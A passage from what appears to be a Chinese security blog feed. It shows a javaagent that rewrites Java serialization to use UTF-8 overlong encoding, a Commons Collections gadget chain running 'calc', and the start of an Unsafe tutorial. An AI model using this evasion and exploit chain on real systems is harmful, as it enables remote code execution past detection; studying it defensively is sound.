class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CtMethod</span> <span class="variable">method</span> <span class="operator">=</span> ctClass.getDeclaredMethod(<span class="string">&quot;writeUTFBody&quot;</span>);  </span><br><span class="line">ctClass.removeMethod(method);  </span><br><span class="line"><span class="type">CtMethod</span> <span class="variable">make</span> <span class="operator">=</span> CtNewMethod.make(<span class="string">&quot;    private void writeUTFBody(String s) throws IOException &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;        int limit = MAX_BLOCK_SIZE - 3;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;        int len = s.length();\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;        for (int off = 0; off &lt; len; ) &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;            int csize = Math.min(len - off, CHAR_BUF_SIZE);\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;            s.getChars(off, off + csize, cbuf, 0);\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;            for (int cpos = 0; cpos &lt; csize; cpos++) &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                char c = cbuf[cpos];\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                if (pos &lt;= limit) &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;//                    if (c &lt;= 0x007F &amp;&amp; c != 0) &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;//                        buf[pos++] = (byte) c;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;//                    &#125; else if (c &gt; 0x07FF) &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                buf[pos + 2] = (byte) (0x80 | ((c &gt;&gt; 0) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                    buf[pos + 1] = (byte) (0x80 | ((c &gt;&gt; 6) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                  buf[pos + 0] = (byte) (0xE0 | ((c &gt;&gt; 12) &amp; 0x0F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                    pos += 3;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;//                    &#125; else &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;//                        buf[pos + 1] = (byte) (0x80 | ((c &gt;&gt; 0) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;//                        buf[pos + 0] = (byte) (0xC0 | ((c &gt;&gt; 6) &amp; 0x1F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;//                        pos += 2;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;//                    &#125;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                &#125; else &#123;    // write one byte at a time to normalize block\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                    if (c &lt;= 0x007F &amp;&amp; c != 0) &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                        write(c);\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                    &#125; else if (c &gt; 0x07FF) &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                        write(0xE0 | ((c &gt;&gt; 12) &amp; 0x0F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                        write(0x80 | ((c &gt;&gt; 6) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                        write(0x80 | ((c &gt;&gt; 0) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                    &#125; else &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                        write(0xC0 | ((c &gt;&gt; 6) &amp; 0x1F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                        write(0x80 | ((c &gt;&gt; 0) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                    &#125;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;                &#125;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;            &#125;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;            off += csize;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;        &#125;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;    &#125;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;&#125;&quot;</span>, ctClass);  </span><br><span class="line">ctClass.addMethod(make);</span><br></pre></td></tr></table></figure><p>我们写入到javaagent去使用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;  </span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.Instrumentation;  </span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.AccessibleObject;  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Agent</span> &#123;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">premain</span><span class="params">(String agentArgs, Instrumentation inst)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line"><span class="comment">//        JarFileHelper.addJarToBootstrap(inst);  </span></span><br><span class="line">        inst.addTransformer(<span class="keyword">new</span> <span class="title class_">NightTransformer</span>(), <span class="literal">true</span>);  </span><br><span class="line">        inst.retransformClasses(<span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; AccessibleObject.class &#125;);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在插桩</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javassist.*;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.io.IOException;  </span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.ClassFileTransformer;  </span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.IllegalClassFormatException;  </span><br><span class="line"><span class="keyword">import</span> java.security.ProtectionDomain;  </span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NightTransformer</span> <span class="keyword">implements</span> <span class="title class_">ClassFileTransformer</span> &#123;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, <span class="type">byte</span>[] classfileBuffer) <span class="keyword">throws</span> IllegalClassFormatException &#123;  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">if</span>(className.equals(<span class="string">&quot;java/io/ObjectOutputStream$BlockDataOutputStream&quot;</span>))&#123;  </span><br><span class="line">            System.out.println(<span class="string">&quot;true2&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">            <span class="type">ClassPool</span> <span class="variable">classPool</span> <span class="operator">=</span> ClassPool.getDefault();  </span><br><span class="line">            <span class="keyword">try</span> &#123;  </span><br><span class="line">                <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> classPool.get(<span class="string">&quot;java.io.ObjectOutputStream$BlockDataOutputStream&quot;</span>);  </span><br><span class="line">                classPool.importPackage(IOException.class.getName());  </span><br><span class="line">                <span class="type">CtMethod</span> <span class="variable">writeUTF</span> <span class="operator">=</span> ctClass.getMethod(<span class="string">&quot;writeUTF&quot;</span>,<span class="string">&quot;(Ljava/lang/String;J)V&quot;</span>);  </span><br><span class="line">                ctClass.removeMethod(writeUTF);  </span><br><span class="line">                <span class="type">CtMethod</span> <span class="variable">make1</span> <span class="operator">=</span> CtNewMethod.make(<span class="string">&quot;void writeUTF(String s, long utflen) throws IOException &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;            writeShort((int) utflen*3);\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;            writeUTFBody(s);\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;        &#125;&quot;</span>, ctClass);  </span><br><span class="line">                ctClass.addMethod(make1);  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">                <span class="type">CtMethod</span> <span class="variable">method</span> <span class="operator">=</span> ctClass.getDeclaredMethod(<span class="string">&quot;writeUTFBody&quot;</span>);  </span><br><span class="line">                ctClass.removeMethod(method);  </span><br><span class="line">                <span class="type">CtMethod</span> <span class="variable">make</span> <span class="operator">=</span> CtNewMethod.make(<span class="string">&quot;    private void writeUTFBody(String s) throws IOException &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;        int limit = MAX_BLOCK_SIZE - 3;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;        int len = s.length();\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;        for (int off = 0; off &lt; len; ) &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;            int csize = Math.min(len - off, CHAR_BUF_SIZE);\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;            s.getChars(off, off + csize, cbuf, 0);\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;            for (int cpos = 0; cpos &lt; csize; cpos++) &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                char c = cbuf[cpos];\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                if (pos &lt;= limit) &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;//                    if (c &lt;= 0x007F &amp;&amp; c != 0) &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;//                        buf[pos++] = (byte) c;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;//                    &#125; else if (c &gt; 0x07FF) &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                buf[pos + 2] = (byte) (0x80 | ((c &gt;&gt; 0) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                    buf[pos + 1] = (byte) (0x80 | ((c &gt;&gt; 6) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                  buf[pos + 0] = (byte) (0xE0 | ((c &gt;&gt; 12) &amp; 0x0F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                    pos += 3;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;//                    &#125; else &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;//                        buf[pos + 1] = (byte) (0x80 | ((c &gt;&gt; 0) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;//                        buf[pos + 0] = (byte) (0xC0 | ((c &gt;&gt; 6) &amp; 0x1F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;//                        pos += 2;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;//                    &#125;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                &#125; else &#123;    // write one byte at a time to normalize block\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                    if (c &lt;= 0x007F &amp;&amp; c != 0) &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                        write(c);\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                    &#125; else if (c &gt; 0x07FF) &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                        write(0xE0 | ((c &gt;&gt; 12) &amp; 0x0F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                        write(0x80 | ((c &gt;&gt; 6) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                        write(0x80 | ((c &gt;&gt; 0) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                    &#125; else &#123;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                        write(0xC0 | ((c &gt;&gt; 6) &amp; 0x1F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                        write(0x80 | ((c &gt;&gt; 0) &amp; 0x3F));\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                    &#125;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;                &#125;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;            &#125;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;            off += csize;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;        &#125;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;    &#125;\n&quot;</span> +  </span><br><span class="line">                        <span class="string">&quot;&#125;&quot;</span>, ctClass);  </span><br><span class="line">                ctClass.addMethod(make);  </span><br><span class="line">                ctClass.detach();  </span><br><span class="line">                <span class="keyword">return</span> ctClass.toBytecode();  </span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">                System.out.println(e);  </span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> classfileBuffer;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>MANIFEST.MF<br>设置为</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Manifest-Version: <span class="number">1.0</span>  </span><br><span class="line">Archiver-Version: Plexus Archiver  </span><br><span class="line">Created-By: Apache Maven  </span><br><span class="line">Can-Redefine-Classes: <span class="literal">true</span>  </span><br><span class="line">Can-Retransform-Classes: <span class="literal">true</span>  </span><br><span class="line">Premain-Class: com.n1ght.Agent  </span><br><span class="line">Project-name: com.n1ght.AgentMain  </span><br><span class="line">Project-version: <span class="number">1.0</span>-SNAPSHOT</span><br></pre></td></tr></table></figure><p>打包成javassist-3.30.2-GA.jar<br>在idea运行中使用<br>alt+v添加-javaagent:jar路径<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406132936.png"><br>这里使用一个cc链</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;  </span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;  </span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;  </span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;  </span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;  </span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> &#123;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="literal">null</span>&#125;),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class,Object[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>,<span class="literal">null</span>&#125;),  </span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)  </span><br><span class="line">        &#125;;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">Transformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(<span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;&#125;);  </span><br><span class="line">        HashMap&lt;Object,Object&gt; hashMap1 = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        HashMap&lt;Object,Object&gt; hashMap2 = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();  </span><br><span class="line">        <span class="type">LazyMap</span> <span class="variable">lazyMap1</span> <span class="operator">=</span> (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);  </span><br><span class="line">        <span class="type">LazyMap</span> <span class="variable">lazyMap2</span> <span class="operator">=</span> (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);  </span><br><span class="line">  </span><br><span class="line">        lazyMap1.put(<span class="string">&quot;yy&quot;</span>,<span class="number">1</span>);  </span><br><span class="line">        lazyMap2.put(<span class="string">&quot;zZ&quot;</span>,<span class="number">1</span>);  </span><br><span class="line">  </span><br><span class="line">        <span class="type">Hashtable</span> <span class="variable">hashtable</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hashtable</span>();  </span><br><span class="line">        hashtable.put(lazyMap1,<span class="number">1</span>);  </span><br><span class="line">        hashtable.put(lazyMap2,<span class="number">1</span>);  </span><br><span class="line">        <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> ChainedTransformer.class;  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> c.getDeclaredField(<span class="string">&quot;iTransformers&quot;</span>);  </span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);  </span><br><span class="line">        field.set(chainedTransformer, transformers);  </span><br><span class="line">        lazyMap2.remove(<span class="string">&quot;yy&quot;</span>);  </span><br><span class="line">        <span class="type">FileOutputStream</span> <span class="variable">fileOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>);  </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fileOutputStream).writeObject(hashtable);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>点击运行，得到utf-8 overlong encoding的序列化数据<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406133158.png"><br>对比没有任何处理的数据<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406133245.png"><br>并且能正常反序列化成功<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406133422.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;参考文章：&lt;br&gt;&lt;a href=&quot;https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html&quot;&gt;https://www.leavesongs.com/PENETRATION/utf-8-overl</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
    <category term="ctf-trick" scheme="https://www.n1ght.cn/tags/ctf-trick/"/>
    
  </entry>
  
  <entry>
    <title>Java魔法类：Unsafe应用解析</title>
    <link href="https://www.n1ght.cn/2024/04/08/Java%E9%AD%94%E6%B3%95%E7%B1%BB%EF%BC%9AUnsafe%E5%BA%94%E7%94%A8%E8%A7%A3%E6%9E%90/"/>
    <id>https://www.n1ght.cn/2024/04/08/Java%E9%AD%94%E6%B3%95%E7%B1%BB%EF%BC%9AUnsafe%E5%BA%94%E7%94%A8%E8%A7%A3%E6%9E%90/</id>
    <published>2024-04-08T10:26:32.000Z</published>
    <updated>2024-04-27T12:52:14.012Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html">引用文章</a></p><h1 id="基本介绍"><a href="#基本介绍" class="headerlink" title="基本介绍"></a>基本介绍</h1><p>可以通过getUnsafe获取，但是源码这边会出现问题</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">Unsafe</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">static</span> &#123;  </span><br><span class="line">        Reflection.registerMethodsToFilter(Unsafe.class, Set.of(<span class="string">&quot;getUnsafe&quot;</span>));  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="title function_">Unsafe</span><span class="params">()</span> &#123;&#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Unsafe</span> <span class="variable">theUnsafe</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Unsafe</span>();  </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> jdk.internal.misc.<span class="type">Unsafe</span> <span class="variable">theInternalUnsafe</span> <span class="operator">=</span> jdk.internal.misc.Unsafe.getUnsafe();  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * Provides the caller with the capability of performing unsafe     * operations.     *     * &lt;p&gt;The returned &#123;<span class="doctag">@code</span> Unsafe&#125; object should be carefully guarded  </span></span><br><span class="line"><span class="comment">     * by the caller, since it can be used to read and write data at arbitrary     * memory addresses.  It must never be passed to untrusted code.     *     * &lt;p&gt;Most methods in this class are very low-level, and correspond to a  </span></span><br><span class="line"><span class="comment">     * small number of hardware instructions (on typical machines).  Compilers     * are encouraged to optimize these methods accordingly.     *     * &lt;p&gt;Here is a suggested idiom for using unsafe operations:  </span></span><br><span class="line"><span class="comment">     *     * &lt;pre&gt; &#123;<span class="doctag">@code</span>  </span></span><br><span class="line"><span class="comment">     * class MyTrustedClass &#123;  </span></span><br><span class="line"><span class="comment">     *   private static final Unsafe unsafe = Unsafe.getUnsafe();     *   ...     *   private long myCountAddress = ...;     *   public int getCount() &#123; return unsafe.getByte(myCountAddress); &#125;     * &#125;&#125;&lt;/pre&gt;  </span></span><br><span class="line"><span class="comment">     *  </span></span><br><span class="line"><span class="comment">     * (It may assist compilers to make the local variable &#123;<span class="doctag">@code</span> final&#125;.)  </span></span><br><span class="line"><span class="comment">     *     * <span class="doctag">@throws</span>  SecurityException if the class loader of the caller  </span></span><br><span class="line"><span class="comment">     *          class is not in the system domain in which all permissions     *          are granted.     */</span>    <span class="meta">@CallerSensitive</span>  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Unsafe <span class="title function_">getUnsafe</span><span class="params">()</span> &#123;  </span><br><span class="line">        Class&lt;?&gt; caller = Reflection.getCallerClass();  </span><br><span class="line">        <span class="keyword">if</span> (!VM.isSystemDomainLoader(caller.getClassLoader()))  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SecurityException</span>(<span class="string">&quot;Unsafe&quot;</span>);  </span><br><span class="line">        <span class="keyword">return</span> theUnsafe;  </span><br><span class="line">    &#125;</span><br><span class="line">    ......</span><br></pre></td></tr></table></figure><p>我们可以通过反射获取unsafe</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Class&lt;?&gt; name = Class.forName(<span class="string">&quot;sun.misc.Unsafe&quot;</span>);</span><br><span class="line"><span class="type">Field</span> <span class="variable">theUnsafe</span> <span class="operator">=</span> name.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">theUnsafe.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) theUnsafe.get(<span class="literal">null</span>);</span><br></pre></td></tr></table></figure><h2 id="内存操作"><a href="#内存操作" class="headerlink" title="内存操作"></a>内存操作</h2><p>这部分主要包含堆外内存的分配、拷贝、释放、给定地址值操作等方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span 